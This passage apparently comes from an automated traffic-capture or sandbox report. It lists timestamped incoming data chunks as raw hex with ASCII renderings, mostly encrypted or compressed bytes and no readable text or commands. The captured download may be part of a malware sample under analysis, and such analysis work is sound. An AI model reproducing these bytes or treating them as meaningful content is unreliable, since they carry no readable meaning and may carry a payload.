Data Ascii: Dqb`rS/<O7Q.@7DAEiX}aLB/n1f\@wgk&?'yD3+rXIDH/`vdP;Sn%'IT?5KTcbJPaHz#lCw^JgTUJG+J}G{h_3%2aCwA\|ZFl,y
2021-12-28 17:13:33 UTC	1795	IN	Data Raw: 50 7e ec ac 10 2d 33 fb 32 6b 78 48 73 d7 90 a1 bf 40 f5 9f 1e 60 39 d5 0a fb 98 c4 0c 24 85 c2 c6 96 1d 8b 6f 5c 13 33 c9 5f c1 d6 ab 63 54 7b c2 08 37 7c bc c0 05 c1 27 74 f6 d9 a7 28 8d 2d ab 49 f5 71 9f b9 13 3d 0b 6e 07 c8 bf 1f 77 b4 69 9c 17 37 1f b8 b3 9e 77 96 26 16 c5 b6 59 ad 4e 7f 5a b7 61 e8 3f 62 d7 95 00 ed 50 53 16 d3 22 d9 bc 94 93 e8 1f 7c cf ed d7 a8 38 c0 e8 47 73 6b f6 39 37 0b 5a 23 1f 5c 9c a9 d6 f5 20 6e 87 72 32 29 d0 e6 c0 e6 59 df f7 f9 51 53 1e a0 50 1e 8e 4e 4c e4 30 42 fa 40 d3 b5 d2 13 37 53 68 bb 8e d0 b9 8f 59 5d 39 7d 74 35 d8 f7 a8 28 ab 9c c4 fc 58 10 19 c1 2e 54 67 01 78 1a 64 62 b7 94 0e 86 ac a9 62 e4 6c 42 e2 c0 91 c4 09 d7 ac 3f 00 6b ad e4 5f d3 ef 9c d0 e8 59 ec 37 81 99 03 77 28 b1 f0 c5 fc 78 10 22 c7 18 e9 fe Data Ascii: P~-32kxHs@`9$o\3_cT{7\|'t(-Iq=nwi7w&YNZa?bPS"\|8Gsk97Z#\ nr2)YQSPNL0B@7ShY]9}t5(X.TgxdbblB?k_Y7w(x"
2021-12-28 17:13:33 UTC	1811	IN	Data Raw: 99 b0 16 cf 06 cf 56 1d 3d b4 69 27 38 52 cb 52 61 a7 89 55 4e c5 7c 45 76 53 28 46 11 00 b2 50 a5 be 43 e2 17 76 97 31 71 0e 83 0d 1e 09 ce 28 47 f7 a6 99 89 a5 44 9b 61 4d 99 3e 54 2e 7f 2c 20 5a f6 88 a0 c3 9f bd eb 4d a6 b6 c0 9d 45 e8 59 ad 95 14 dd 61 dc 6c 01 eb e4 89 04 52 a4 a9 96 bf 1f 23 78 2c 6f 1e 83 88 14 3c 5c aa 80 8e eb 13 dc 36 d3 0e fc d4 ce 39 50 2b bb e0 16 a4 35 86 68 f8 21 5b a4 b2 e7 d8 24 53 11 42 00 75 dc a1 f5 66 2a bd 21 5e 46 8c 58 ff 89 a1 ef db 82 d0 f5 a0 d2 46 d9 59 84 a9 49 9f ef b7 a0 4f e2 83 4f b9 43 28 44 1e 4d 3d b1 e2 b5 61 69 d8 cb c9 20 f2 70 ab 30 d0 f5 76 02 8f a5 7c 9a 56 92 9c 26 00 ab 7d 68 9c 0b 03 f7 03 7c 45 40 81 13 ae 76 95 46 a8 98 e2 6d db 4f 7e 9a 7b 1c db c9 0e 11 86 c9 d8 27 db 77 f5 42 b5 dd fa a3 Data Ascii: V=i'8RRaUN\|EvS(FPCv1q(GDaM>T., ZMEYalR#x,o<\69P+5h![$SBuf*!^FXFYIOOC(DM=ai p0v\|V&}h\|E@vFmO~{'wB
2021-12-28 17:13:33 UTC	1827	IN	Data Raw: c2 6e 8a f4 e5 9f c2 84 a9 84 1c 91 51 e4 3b cc 5c 0a 53 20 8a 92 5e 95 b9 5c 6d 54 fc fc 91 f3 bc 0d 40 2b a4 7b 7e fc fe 8e 67 58 f7 c4 c4 47 06 8d 02 aa 2c 87 45 0e 3a 09 63 cf e9 95 c8 59 bf b3 ad 9c 25 87 d0 39 50 c5 01 85 5e 71 7c f8 20 9e 3c bb b9 7f 8f 2a cb fc ff b1 da 1c c6 27 75 47 aa 29 7c 0a 96 52 98 48 2b 26 5e be 85 13 66 84 81 94 e6 18 31 cc b5 8b d9 23 8c ae bf ec eb f9 56 4a 09 9c 1c e2 9c e4 62 70 48 e3 19 76 e2 88 a9 cd 74 ed 12 41 fe 07 0f 77 b6 a2 f4 6c 1e f6 27 2d 7c 09 5d b9 15 c4 28 d3 26 18 74 10 06 c9 e1 72 14 05 2c e2 d2 5a 5d e7 27 ad f7 cf b7 a8 52 ad 2f a5 21 7e 9d dc dd 7f dc 69 aa 19 aa 13 8e 02 c2 0c 7f bf f0 b0 6f 21 6a d1 2b a2 03 53 23 28 95 97 58 32 ac 8c f6 e3 4e fe 15 04 1e 62 4f a4 00 ce 02 62 d0 98 56 d8 60 32 a6 Data Ascii: nQ;\S ^\mT@+{~gXG,E:cY%9P^q\| <*'uG)\|RH+&^f1#VJbpHvtAwl'-\|](&tr,Z]'R/!~io!j+S#(X2NbObV`2
2021-12-28 17:13:33 UTC	1843	IN	Data Raw: ca 70 b5 55 60 34 90 e0 c2 fd 99 bb 14 08 49 a8 28 2a 87 0c c7 97 96 b2 61 28 de ad e9 36 07 e8 3b 9f 43 72 85 32 6a 18 76 cd 44 f1 86 91 cd cc f6 a0 0a 1e 56 37 12 4c 72 12 45 c8 ea 11 7c df f0 7a b5 84 b2 29 84 bb 99 d3 f9 6d 60 8b 70 99 aa b0 7b ef 9d e7 91 2f 22 4c 7d fd 25 63 a9 6a 25 06 24 a6 fe 87 5e 74 f7 f9 2c 85 d4 43 7c aa 1f 46 5d 9a 3c 15 67 e1 bc 18 8d e8 98 d5 d6 ee 1b e7 69 ca 03 60 c8 70 33 01 15 d9 c1 2a e1 de 20 8b e0 1e 03 51 fd db eb 89 a1 cc fb 9a 5f c0 60 fc e6 70 0a bc 32 e5 b7 40 43 fd a9 2f ec 3b 9d bd 2a 7b 15 4d 0e 30 7d 5f e5 a3 9d 69 59 9c 85 39 a9 39 18 ca 2b ba 66 dc c1 a0 ff 34 07 54 3c 3e 8d 51 6f 2b c0 5d c9 06 89 b0 ee 39 19 28 b2 0b 64 5c d2 dd 51 74 e6 b0 e1 00 86 9f de 0f 6e 43 38 40 18 c5 50 24 bb 1a 9b 75 c5 8a e7 Data Ascii: pU`4I(a(6;Cr2jvDV7LrE\|z)m`p{/"L}%cj%$^t,C\|F]<gi`p3 Q_`p2@C/;*{M0}_iY99+f4T<>Qo+]9(d\QtnC8@P$u
2021-12-28 17:13:33 UTC	1859	IN	Data Raw: 9e 70 77 dc 75 58 50 d8 e1 58 4c f7 bd b7 ca 81 00 c0 05 f2 6f 40 75 10 02 f0 5c 7a 53 5d c2 9c d3 04 4c 5e 8b 42 e6 e1 6c d1 f2 58 0f 81 62 05 a0 ac ec f1 dd e6 a1 cc bf fe ab 58 56 23 ab 06 3f b8 6f ab fd 06 51 84 1d a3 df 1f cd 68 0d 98 dd 4c d3 79 fc f0 4c 8e 39 40 ef ee 61 0d dc 24 c0 4d 27 69 79 52 ec 23 79 f8 0b 45 e9 0c 5c 14 c9 51 3d cf f0 19 7d 34 07 7a 61 55 b0 8e f1 90 6d a4 55 7c ef e8 06 e9 db 8f a7 c7 99 59 12 ff 07 9d d9 b5 78 4f 4d b9 5e df 75 c6 70 1e 08 7b 59 cc 72 e2 0e f5 19 a3 5d a0 f8 7e bc 3a fa 12 51 0f e7 33 ca da 93 fb 0b 0b cb 47 5c 9a 94 c5 8d 8c 4c 8d e9 d2 1a d9 fc 1b 76 7d e4 cc 86 76 55 0d 6b 85 49 76 3a 0f c7 4a 14 85 5f 5b 08 41 1c f4 c9 4c 83 af fc 56 e4 78 20 db f9 6f fe ff 0c c1 2e ee ce 82 80 d0 65 3d 4f 04 68 f7 0f Data Ascii: pwuXPXLo@u\zS]L^BlXbXV#?oQhLyL9@a$M'iyR#yE\Q=}4zaUmU\|YxOM^up{Yr]~:Q3G\Lv}vUkIv:J_[ALVx o.e=Oh
2021-12-28 17:13:33 UTC	1875	IN	Data Raw: 4f 39 71 39 5f 3c c5 82 b2 f4 d2 31 4b 5a b2 5e 89 95 4e 5a 02 3e cd 93 1a 7b 3e 22 2a d8 ab 78 ff f2 0c 05 5a fa 87 17 e1 0f eb fd 90 26 db 99 e0 a0 e8 7c c5 96 c1 72 27 66 1b c9 e3 ab d9 81 01 5f 62 be 97 52 68 71 3d 68 d3 70 57 1b 0e cd 41 70 c9 0c 1d 4a cc 91 ff 95 85 2b 69 ac 3f e0 97 e2 a5 2d cb 26 f4 48 f1 f5 49 58 d5 b7 56 27 47 13 43 9d 24 63 4b 97 b1 cd d0 d6 2d cf d9 69 be c5 fa 09 f1 b0 09 ed a9 3a 26 7e 13 4d 4c 01 c9 59 88 e8 e3 04 75 53 81 45 84 3c c7 5a 74 0b fc fe 2b 12 c3 cd 24 f5 6e 2b 45 1b a7 2e ca de 55 77 a1 d8 21 b1 70 e2 0f 35 51 d2 57 e9 db 98 1d 53 4e 8a ce 8b d0 0d 77 a6 46 da 98 d4 1c 94 fd 07 88 5f 0d c9 f8 9a b4 ec 58 c9 61 6d ec b0 39 d5 96 61 19 91 37 d0 fe 83 dc f3 54 ca dc 40 cf 70 65 66 af dc e0 d9 ba ce e9 ff f4 16 ff Data Ascii: O9q9_<1KZ^NZ>{>"*xZ&\|r'f_bRhq=hpWApJ+i?-&HIXV'GC$cK-i:&~MLYuSE<Zt+$n+E.Uw!p5QWSNwF_Xam9a7T@pef
2021-12-28 17:13:33 UTC	1891	IN	Data Raw: 7d 31 38 83 67 c2 51 e4 7d df 44 0f 42 bb 10 02 e9 22 a4 6a fa a1 b3 47 0d b5 86 a0 66 36 90 92 e9 55 b1 88 f2 92 af 2f 47 eb 19 fe 46 eb 92 03 b4 0a 5f 91 f8 8d 46 fb 14 eb ba f5 ce 44 04 ea ed ac 72 98 0e 2a 93 ef e8 f6 ba ba df 4a d3 1b 4a c2 97 2d 07 c3 f3 e2 d3 47 09 8c 11 61 64 bf 14 77 56 49 8f a3 9b 95 22 15 c0 2f 0e 22 3c 0d 45 27 8a 52 9e 42 b4 74 9f 48 f0 1d b6 29 9d fd 45 ea 15 9f ee b8 f9 8b 61 df 12 0e 00 ac d5 2b fb 84 ad f7 1e 92 6e 3e b8 a7 ef 76 9b 1e 48 f9 5f e8 7f d0 16 c9 92 24 21 2a eb a5 1b 1b fa 4f 29 12 08 b1 17 4f 73 a0 eb 6c 19 77 86 d3 1d 14 82 7a a6 b9 f8 66 b1 c9 24 ad 97 95 83 a2 08 d5 5a de 26 2d b6 fe 3a d8 39 27 6b 6c be d7 9a 93 97 12 6b 34 08 df ce ef 7c b1 3a 79 f6 07 6f 92 85 81 fd 8b 35 9c 20 e3 cf c1 d9 b2 8f 99 b4 Data Ascii: }18gQ}DB"jGf6U/GF_FDrJJ-GadwVI"/"<E'RBtH)Ea+n>vH_$!O)Oslwzf$Z&-:9'klk4\|:yo5
2021-12-28 17:13:33 UTC	1907	IN	Data Raw: 9c 7a 45 d8 b8 ff be 7e 1f 41 f0 90 bb 0f 63 76 09 37 6f c1 63 b2 d7 d8 ad f5 80 f2 de 14 74 38 ea cd 94 9a 2d 43 92 32 38 fe a6 15 38 a2 ff 3c 6b 86 bd 02 58 44 03 93 48 74 36 d6 73 5e c0 7b d4 61 ab 6b 9f 30 a1 e8 e6 70 25 d1 14 c9 f1 c3 6a d1 55 7a a3 a6 b4 22 05 5e 56 e4 87 bf d5 3f 94 f0 df f8 5b 6b 5d 2a dc 9f be 1e 86 0a a5 b2 0f 1e 58 c7 d7 b3 4b 04 18 47 33 bc 19 87 c3 00 6e 04 5f 64 fe b6 d7 08 86 37 b8 9a 62 5a d6 92 69 fd 10 b2 88 b6 36 1c 0e d4 ed d7 02 0f 79 fd 6b 51 c8 af ea 27 7e ba 01 b5 e6 ef a1 6d 21 f8 ea 08 7c 19 32 f4 92 19 b3 92 54 5f b9 3f 8c 43 08 dc 34 e2 8f 3e 1a 71 e6 8e 48 69 f7 e9 2e ab 18 93 67 74 fc 62 f3 4b 52 2f 3c fd 2a e4 00 86 21 62 12 4f 9c 2f f4 4b b7 31 04 4c ee 97 65 dc d5 b2 3b 57 35 f3 9e b4 85 9b 62 60 c4 6b 37 Data Ascii: zE~Acv7oct8-C288<kXDHt6s^{ak0p%jUz"^V?[k]XKG3n_d7bZi6ykQ'~m!\|2T_?C4>qHi.gtbKR/<!bO/K1Le;W5b`k7
2021-12-28 17:13:33 UTC	1923	IN	Data Raw: 00 e6 17 e9 ec 03 bb a3 3f 1e 5a d2 d0 94 9a d0 dc 94 64 0a c4 23 8d 59 e7 63 ce 51 45 ec ce db 73 a2 ef 96 e2 40 75 4b 09 b2 aa b5 d6 dd 45 c4 0b 87 c5 32 f8 4e 13 f2 8e 12 fe 05 8d dd 11 5a 92 94 86 46 de 57 f6 ef 3a 45 83 6c 4d 8f 5d 4c 3a b7 da 60 ee 56 e6 a2 c0 ac 82 69 5c 53 85 95 b8 03 78 36 2a 4e f4 70 70 af aa 9c 4f e8 dd 71 73 ef 1f 5c 6a 4a b0 39 17 c1 f0 58 a1 19 ec fd c4 93 51 63 1d af 44 64 b7 84 49 31 06 6a a5 c6 91 19 14 ad 93 63 9b a4 16 91 fe 17 06 92 47 05 aa 6b 6d 6b 16 89 98 e2 41 52 eb 89 5f b5 86 b4 61 8e c6 6a ce 3b 51 f0 72 b0 23 a9 c8 28 6d 2f 1f 0c 2b 81 6c e8 36 92 47 8b 97 04 83 36 83 fa 69 72 9c 4a 15 f2 86 b1 e1 96 0f 96 e2 4f 26 39 a9 e5 5a e1 f8 33 e8 a5 50 e4 6e 10 c8 d5 a5 76 ad b8 7d a0 95 c7 34 f7 c8 8d 2d 9c f8 38 c8 Data Ascii: ?Zd#YcQEs@uKE2NZFW:ElM]L:`Vi\Sx6*NppOqs\jJ9XQcDdI1jcGkmkAR_aj;Qr#(m/+l6G6irJO&9Z3Pnv}4-8
2021-12-28 17:13:33 UTC	1939	IN	Data Raw: d5 fd ab 8d 4f cc e9 0b 58 07 b3 8b ea 70 88 5a bb 26 98 cf 20 22 30 e8 07 3d 21 08 56 08 bc d3 b9 e9 3f f4 27 57 c7 31 4d 76 aa ba 58 82 7f 87 42 c1 49 04 96 f3 2b b2 42 78 80 5f 1f 59 51 5e 23 0e ca f1 c9 45 88 50 dd 7b 22 04 25 45 8c 86 ca 85 49 45 22 18 96 0e c0 1f 43 8a db 42 48 84 7d 7f 72 e4 d2 56 8a ae 46 1f 60 36 f6 6e 3e af 0e 2c 52 82 d7 12 d0 54 51 bb 78 4f a3 ac 1e 9e 2f 1c ce c4 f9 31 1b ef ca a9 28 4c 93 9b 48 e9 00 b0 ac fc b4 eb e0 4e e3 84 5d 32 79 86 95 ac f0 96 40 4a 5b 95 80 88 a9 e7 18 ac 8b 57 3e cb 2c 8e 46 81 e7 fd f9 c6 cd dc 50 cc a5 00 32 5f e5 f9 7b fc 74 e0 c7 b8 d3 6c d9 e1 7f c4 9a d2 c2 84 8d 6c 06 6f 46 79 d0 f5 79 95 d9 40 69 7c eb 6e 5e 8c b3 e0 10 6c 4d fb 36 30 45 33 f7 23 9c 37 25 f4 14 21 a5 b4 75 f5 d0 3f 1e 8b 54 Data Ascii: OXpZ& "0=!V?'W1MvXBI+Bx_YQ^#EP{"%EIE"CBH}rVF`6n>,RTQxO/1(LHN]2y@J[W>,FP2_{tlloFyy@i\|n^lM60E3#7%!u?T
2021-12-28 17:13:33 UTC	1955	IN	Data Raw: a4 26 84 21 e1 8f c0 57 3e 4d 8f 2e 24 8d 45 d2 79 99 dd 69 59 fd 0b b3 74 ee da db 69 7e 4e bf 39 03 27 e1 f5 71 58 4d 5b 6a 53 29 f5 aa 49 c2 d3 64 d7 1d 50 28 df 92 16 ed 9b e3 3c 1f 62 d5 f0 17 1b 68 ff a8 19 32 64 c2 91 ba 3a 55 88 a0 28 79 1a d2 c7 ce c9 29 7a 2b b4 b6 24 66 28 3a b4 9a 3c b6 14 be ba 77 2f 12 fe 40 65 ed f4 94 cf 01 5f 7a 03 e4 38 16 cc 7e c0 e2 53 69 04 a2 ef 99 00 7e 55 ba a5 5e 5f c8 23 f8 27 9e 47 d0 46 68 20 7f 42 ab b3 72 eb bc ad c7 c0 41 eb 5f 50 af df c0 2f 53 d3 97 3c fc 69 56 5a c2 05 96 fd 63 b3 ea d0 f5 3c 08 2b ff 43 6d 31 67 1e 26 bf ee 29 18 07 f0 d1 7a b8 82 aa 3e 9c fc 08 b7 33 f2 7c 02 d3 ba ac 1f 87 5b 1d 19 71 5c 42 d8 c4 a0 9c ea 0d 87 81 9f 03 26 20 5c 3a 8a d7 44 8d 21 fe b2 e6 1b 63 5e db 62 68 89 18 ca c4 Data Ascii: &!W>M.$EyiYti~N9'qXM[jS)IdP(<bh2d:U(y)z+$f(:<w/@e_z8~Si~U^_#'GFh BrA_P/S<iVZc<+Cm1g&)z>3\|[q\B& \:D!c^bh
2021-12-28 17:13:33 UTC	1971	IN	Data Raw: 7f 00 db df 3d 00 28 58 00 00 0a 23 21 79 00 4a 4f 00 5c 1d 00 81 79 00 9e 3d 00 28 ed 01 00 06 5d 07 cc 3d 00 28 3c 00 00 01 56 21 2a 00 df 79 00 4a 2a 00 28 00 00 00 00 5c 3d 00 28 80 00 00 0a 79 81 79 00 28 63 00 00 0a 8b 9e 2a 00 28 69 01 00 06 ab 28 43 00 00 01 1c bf 29 28 27 3c 7f 00 08 33 28 43 00 00 01 1c ca 29 28 b7 2f 7f 00 ff 1e 0b cc 34 00 df 1a 00 28 42 00 00 01 1c 58 28 5a 00 00 0a e4 28 85 00 00 0a f7 21 1a 00 28 61 92 5e 00 21 57 00 28 01 00 00 00 21 53 00 28 12 00 00 0a 23 28 13 00 00 0a fa 28 00 00 00 80 28 03 00 00 00 cb 28 5d 00 00 0a d1 28 03 00 00 00 28 80 00 00 00 04 28 5d 00 00 0a d5 28 de 01 00 06 5d 21 2e 00 4a 2e 00 53 28 97 00 00 04 e8 28 9d 00 00 0a 79 28 43 00 00 01 1c 01 29 28 0a c8 3f 00 08 33 28 43 00 00 01 1c bf 29 28 60 Data Ascii: =(X#!yJO\y=(]=(<V!yJ(\=(yy(c*(i(C)('<3(C)(/4(BX(Z(!(a^!W(!S(#((((](((](]!.J.S((y(C)(?3(C)(`
2021-12-28 17:13:33 UTC	1987	IN	Data Raw: 78 98 d0 13 d3 20 8d 63 4a b0 f9 7e 90 d7 1e ae 0f 8e 96 b5 4f 30 75 a2 95 da 18 5e 23 bc f3 b3 6b 0a a8 df 88 0f ac a0 60 8a 0d a6 1c a3 24 2b 92 35 ee 96 cd 7d 5b e3 3d 17 b6 48 c6 8b c8 94 9e 86 3a 4e 5d ab 5a 71 a9 40 f8 6c e9 06 93 4a e3 de 73 64 5a 48 54 a5 80 77 83 9c e7 fa 3e 92 41 c1 b1 1c da e3 9b 28 28 e5 19 06 73 62 5d c2 12 52 c8 52 b8 31 77 64 e5 87 4a 83 99 4c de 95 54 b9 07 2e 7d 12 fe 1f 38 37 db 41 44 cf 7e 27 63 cd 7d be 41 5c ab ef 55 4a eb b1 1d ec 94 5f 19 05 a0 68 c8 f7 0b 25 ab f5 c5 f7 5a ca ae 25 a1 9b 28 71 96 eb 05 08 a9 73 44 a2 3c dc 66 5e d7 90 71 0b c5 61 20 30 f4 f2 70 d2 9a c7 a3 7f 85 bd da 07 84 e7 ef f1 96 44 ed 1e 00 46 a3 e4 e4 33 f4 50 39 5e 91 9e 0f 6a 84 6e cf ce 51 49 0c 2d 37 e3 1c 9d 5d b4 13 92 0d ec 76 c4 b1 Data Ascii: x cJ~O0u^#k`$+5}[=H:N]Zq@lJsdZHTw>A((sb]RR1wdJLT.}87AD~'c}A\UJ_h%Z%(qsD<f^qa 0pDF3P9^jnQI-7]v
2021-12-28 17:13:33 UTC	2003	IN	Data Raw: 8f 92 14 2a 79 dc 9f 42 0c 95 d4 e8 64 8c ed df d2 84 68 ce 14 4f d0 16 1e f7 88 d1 b4 7e 25 78 ca cb 5a d2 e3 ba cd d6 13 bf d3 9c 09 4a fb d6 12 d0 b2 68 c3 90 01 d9 bd aa 93 db ff 6f 68 4f 6b 5f 30 b8 13 f9 d3 83 59 85 69 6d 47 00 69 a8 7c 58 3a 42 6a c8 11 23 3e 44 09 77 40 5a 2f 59 61 3d 43 1c e6 38 4e 01 b8 77 7b d8 6a 80 36 3c ff 40 bf 13 1d 49 20 3e 5a bb e1 1b 99 16 c9 f4 aa 93 92 a1 96 59 e1 09 43 de 57 65 ea 51 40 c6 bc f1 ff 9d 15 23 f0 c0 89 67 0e 60 ea 93 88 19 e3 09 16 8a bd 98 19 d7 be 9e b7 72 33 29 a8 20 27 30 fa 8d c5 91 d1 c2 a9 23 f5 58 d0 fd 83 e9 e2 c8 11 0b dd e2 07 6f 9b 97 3a 92 d3 3d 84 5b 1e f5 61 7a 47 20 9a ad 73 ef ae 59 97 ad 03 8c 42 05 76 c9 a0 0a b1 0f 95 6b a6 38 f6 89 75 87 93 99 05 71 73 db ea f3 de 84 d8 f9 9a 64 51 Data Ascii: *yBdhO~%xZJhohOk_0YimGi\|X:Bj#>Dw@Z/Ya=C8Nw{j6<@I >ZYCWeQ@#g`r3) '0#Xo:=[azG sYBvk8uqsdQ
2021-12-28 17:13:33 UTC	2019	IN	Data Raw: 9d 0b 6b 6f 9f 2c 2d 63 84 37 cd 7a 3c cc 0d 3a e3 98 f8 98 f9 c8 7d e5 bd 11 d7 79 87 aa 4e c5 d5 ac cb d8 30 f5 14 22 40 d7 f2 f5 f5 d5 7f 4a 7d 92 bb c9 f7 fa cb fd 25 05 ce d3 f6 59 b3 56 38 fb 5d 45 0f f9 ca d4 e8 9e 97 f2 e8 95 b4 e3 6a 2b bd d8 bd 93 90 c5 b3 b6 fa dc e9 8b ed 82 6d 20 ab 56 2c dc c8 53 a3 e1 8d fc 6b 3b 30 ef c5 51 7f 8b c8 b3 a9 89 1c b6 93 1a 4c 18 52 34 8d 2a c2 17 b3 d0 1d de eb 8f c9 0e b7 9d ef 51 32 53 6d 9c 8a 2a 18 dd c0 4b 17 83 8d 6e b0 50 70 3b fd db 33 ae 1e 5c 00 77 d0 7a 35 b3 71 32 c1 1a fe dd 0a 12 55 1f 21 5a f9 35 80 8f 6b a6 88 e6 0f 0c 90 32 d8 73 fe 7e 59 57 2f b1 72 c7 be 61 6e c1 90 3d ae bf 2f 80 d6 80 e4 18 31 ca 5f b5 92 6d 8c 47 94 8e b8 9c 76 5c 9a 5f 03 5e f8 36 43 8f 12 27 8d c8 1c 9b 42 b5 18 a1 9c Data Ascii: ko,-c7z<:}yN0"@J}%YV8]Ej+m V,Sk;0QLR4Q2SmKnPp;3\wz5q2U!Z5k2s~YW/ran=/1_mGv\_^6C'B
2021-12-28 17:13:33 UTC	2035	IN	Data Raw: 2d a3 c2 b0 1e d8 a9 95 36 91 7d 7f 65 34 dd 7a 96 d8 a7 9c 98 ff 66 45 f2 32 91 1b a7 12 73 fb 91 22 3e 98 7e 7c c9 ad b1 43 99 c7 c5 b6 2e 7f 32 40 cc ef 2b 58 6d e2 67 f7 ef 2e 40 ac e5 16 d3 b0 b4 d3 bf 4c 59 6e b6 74 5e 1d 6a 20 ec b0 e8 17 59 53 c1 63 59 36 19 12 d8 71 8e 4d 14 6f 74 83 60 98 73 b2 82 15 ca d8 16 c9 5a 0e f0 f9 ca fc 97 5f f0 1e f6 31 c6 e3 25 64 dc c7 39 49 bb 4b df dd 9f ee 89 d5 88 fe 4e a2 e5 16 66 a6 0f 13 d6 c1 8b 11 d8 24 4d ff 7b fc 94 42 12 15 53 7d e7 f9 cc fd cf cc f3 4e d0 59 a0 8c 6e b5 5d 3a 23 a3 91 43 44 f4 c6 26 62 6c 56 c1 df 74 41 6d 5f 57 e6 14 a9 b7 eb a5 7d 62 8f 5f a5 6c 27 6d f3 90 a5 7f 7e 8a b9 a4 48 89 fc d5 93 5a 38 e7 20 82 2a 99 60 1f 9e 45 c5 c9 17 67 75 9e 5c ca 31 16 70 bf 2c 0d 98 7a 38 fb 21 d6 0f Data Ascii: -6}e4zfE2s">~\|C.2@+Xmg.@LYnt^j YScY6qMot`sZ_1%d9IKNf$M{BS}NYn]:#CD&blVtAm_W}b_l'm~HZ8 *`Egu\1p,z8!
2021-12-28 17:13:33 UTC	2051	IN	Data Raw: bc b6 9b 17 f3 56 9d f9 d5 e4 9a 5d 67 87 b7 d5 73 e9 37 32 d2 21 78 7f b8 fe 79 ea 17 da 1a a3 77 10 47 f4 81 38 52 a4 f5 ff 69 4f 42 0c f9 4a 0a ff 3d 41 8e 27 15 0f 9d bc 7a ca e6 df e6 bb 4c 53 bc 4d 53 ea 7b aa 78 20 f9 d2 ab 48 41 8d 0c b6 b6 94 de 0e d5 31 f0 0a 33 f8 0c 46 59 01 de af 76 8e 98 74 b3 59 b6 b8 53 18 03 32 19 bc 29 b8 ee 4e 96 cb 1f 2b 04 75 c0 05 05 91 34 04 42 db 58 de ae 7c 1a 9b c8 ef 88 56 b8 f8 2d 00 b2 ba fa d3 e7 5c b5 fe 77 c0 b5 61 7c 5e 8f 5c 53 b2 de 73 dd 29 68 f1 b0 43 b1 0e 69 e5 94 0e dc 99 dd 59 90 a6 a1 53 b9 d9 ca 93 5a 44 d4 58 a2 04 bc 57 94 94 2f f0 a0 5c 93 a7 0a 06 b6 9b 5d 4c 5f 23 af 28 ea 53 d4 2c 03 9a 7a 67 c9 0f 2f 37 a7 f9 31 02 24 18 3e ad 19 6b c8 ae f1 f3 bb 5f 47 23 93 fa ef 41 17 00 d9 60 ba f3 69 Data Ascii: V]gs72!xywG8RiOBJ=A'zLSMS{x HA13FYvtYS2)N+u4BX\|V-\wa\|^\Ss)hCiYSZDXW/\]L_#(S,zg/71$>k_G#A`i
2021-12-28 17:13:33 UTC	2067	IN	Data Raw: d3 20 b1 8c 37 42 2f 5d ee 5c da 4c 13 97 73 19 ae 41 c5 07 25 1b 2c da 23 65 1c ed df 5e 0a f2 6c e4 09 5e 97 46 36 df b3 e5 9f 64 63 55 e0 f9 7a 1e 13 86 fb 65 ce 4b e1 05 c2 df 1a 28 88 bd 88 ce 60 17 14 7d fe bc 0d 6e 92 66 03 12 18 96 d3 22 fb b7 a2 c3 bd 51 2b 48 e8 e5 32 3e 65 8d ec 23 c1 5e 79 79 ee 9f 17 39 fc 4c aa 4a a9 8c 69 d6 70 3d 64 36 d7 cc 06 6b 8e 39 15 8e 07 a7 85 9d df 8b 2d 31 c5 39 fc 98 ab 3b b7 6c 4b 88 95 01 f3 94 73 de 9d 6c cb 6a ec 20 98 37 a3 99 8b 66 50 ce 15 12 3d f9 50 49 c9 96 c8 fe d6 3e 80 cf ad c7 dd 4b 05 61 b2 67 f2 60 41 8b f9 aa cf 9b 95 85 df 7c 92 71 10 7d 94 b2 a0 f2 01 19 a4 ec 1e e0 5e a5 cd de e9 44 d1 5a f2 2b 2e 75 21 56 19 07 a1 e5 2e b1 22 30 02 0d ea 7e 16 22 7d 68 b2 16 cd fa f4 57 1f fe a7 d5 1d e7 7b Data Ascii: 7B/]\LsA%,#e^l^F6dcUzeK(`}nf"Q+H2>e#^yy9LJip=d6k9-19;lKslj 7fP=PI>Kag`A\|q}^DZ+.u!V."0~"}hW{
2021-12-28 17:13:33 UTC	2083	IN	Data Raw: 59 34 aa 38 29 dd 4c cc d3 27 9e 4f 54 62 a6 fa 3e 9d fa 1a 20 bd 73 5b 1a af ec 49 d3 8d d8 35 ce 52 41 b0 ba 4a 59 53 14 6c 03 bc bb 05 27 b6 18 b5 73 25 82 8e 49 d9 b2 b7 8c f9 08 2a 0f 98 60 c9 79 18 2e 83 b6 af 40 f7 de 40 19 8c 7e 13 35 a1 85 66 c0 31 ff 16 8f b4 68 05 c7 a7 df 2a 1a d1 7f b3 4e af 14 df 16 01 51 c5 f3 67 3d 97 f8 a0 28 f0 30 8b 31 d6 53 b3 1e b5 0c b8 83 6a 54 32 a5 9e 78 ad 54 85 10 f7 f0 40 0c b6 db 7f 45 8a 37 68 0e ed f4 4c ba 09 f3 5c 6c 88 db cd ee 46 fe 9b 2e b3 4b 0b 96 10 d8 2d 50 1c f3 1c 69 0c c6 1a 8c f7 d3 2c dd f9 61 f2 eb b9 dc 37 9a a7 40 15 6b 9d 13 e9 9e 0c d3 4e 98 fd 85 b7 4f bc d2 12 fc 15 cd 62 97 6b e8 4a ea d1 96 72 6e 79 2b c3 56 9d c8 09 d8 e1 0e 2c 66 f7 09 bd c3 fd ba 9c 22 f8 a5 df 4e 13 14 fd 56 e0 ba Data Ascii: Y48)L'OTb> s[I5RAJYSl's%I`y.@@~5f1hNQg=(01SjT2xT@E7hL\lF.K-Pi,a7@kNObkJrny+V,f"NV
2021-12-28 17:13:33 UTC	2099	IN	Data Raw: 56 fc d7 1d 92 8f 7a 05 80 a6 ed 10 ed 67 69 44 53 3b 58 f7 17 ed 87 ef b9 d2 d2 57 87 a2 b1 6a a2 b4 d9 f8 51 14 de 6f 0b 89 59 3b 1a ac b5 d6 22 45 85 5f 28 a8 c6 fb 84 a7 bc 50 93 4c 60 73 af 1e 70 e8 d9 18 34 c7 2c 77 87 d7 23 db 60 03 74 ed b2 b0 5f 7d 23 7a 2c a2 f9 e0 90 b0 f2 a8 f5 78 32 00 5a 54 ac 8d e0 3e e7 b9 f5 55 b0 3c 2e 85 bf 19 aa 6c 90 99 88 4c 46 4f 64 9c d1 4c eb b7 49 47 4a 40 fb 64 fa 63 64 fe 7b f5 20 18 4d d9 82 e8 ce d4 70 7b ae fa d5 17 26 5e 5f f5 90 9a 1b 28 c0 e9 a5 d4 e6 94 ab ee 1d 5b e8 42 bc b6 2d 39 07 4f 54 d5 ad 39 56 71 1b 7d 4c b3 4c 5d b3 22 f0 97 e7 eb ef 4e 0c 2d e0 55 e3 b5 66 e6 f4 9b 60 31 a2 d0 87 ef 21 fb da e5 a1 bd ab a9 d1 bf 27 62 af df a9 15 18 